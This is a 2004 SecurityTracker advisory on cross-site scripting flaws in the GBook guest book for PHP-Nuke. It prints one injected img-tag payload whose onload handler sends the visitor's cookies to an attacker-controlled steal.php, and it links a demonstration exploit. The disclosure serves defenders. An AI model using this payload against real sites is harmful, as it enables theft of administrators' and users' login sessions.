SecurityTracker.com
Keep Track of the Latest Vulnerabilities
with SecurityTracker!
    Home    |    View Topics    |    Search    |   



Category:   Application (Generic)  >   GBook Vendors:   PHP-Mania.com.ar
GBook Input Validation Flaws Let Remote Users Conduct Cross-Site Scripting Attacks
SecurityTracker Alert ID:  1008930
SecurityTracker URL:  https://securitytracker.com/id/1008930
CVE Reference:   GENERIC-MAP-NOMATCH   (Links to External Site)
Date:  Feb 3 2004
Impact:   Disclosure of authentication information, Disclosure of user information, Execution of arbitrary code via network, Modification of user information, User access via network
Exploit Included:  Yes  
Version(s): 1.0
Description:   A vulnerability was reported in the GBook guest book for PHP-Nuke. A remote user can conduct cross-site scripting attacks to steal the administrator's login credentials.

Janek Vind ("waraxe") reported that GBook does not validate user-supplied input in any of the fields, including 'name', 'email', 'city', and 'message'. Because PHP-Nuke filters the variables in a submitted GBook POST request, it is not possible to directly insert '<script> tags into those variables, the report said. However, scripting code can reportedly be injected via the $_COOKIE array or can be injected via image source tags, as shown:

<img src="images/pix.gif" width="1" height="1" onload="waraxe.src='http://attacker.com/steal.php?stuff='+escape(document.cookie);">

A remote user can create specially crafted HTML that, when loaded by a target user, will cause arbitrary scripting code to be executed by the target user's browser. The code will originate from the site running the GBook software and will run in the security context of that site. As a result, the code will be able to access the target user's cookies (including authentication cookies), if any, associated with the site, access data recently submitted by the target user via web form to the site, or take actions on the site acting as the target user.

A demonstration exploit is available at:

http://www.zone.ee/waraxe/sa001/steal.php

With the username and md5 password hash of a target user, the remote user can then login to the guest book as the target user.

Impact:   A remote user can access the target user's cookies (including authentication cookies), if any, associated with the site running the GBook software, access data recently submitted by the target user via web form to the site, or take actions on the site acting as the target user.
Solution:   No solution was available at the time of this entry.
Cause:   Input validation error
Underlying OS:  Linux (Any), UNIX (Any), Windows (Any)

Message History:   None.


 Source Message Contents

Subject:  [waraxe-2004-SA#001] - Script injection in GBook for Php-Nuke


[Original Message Not Available for Viewing]


Go to the Top of This SecurityTracker Archive Page





Home   |    View Topics   |    Search


Content previously copyright SecurityGlobal.net LLC placed in the public domain on December 31, 2019.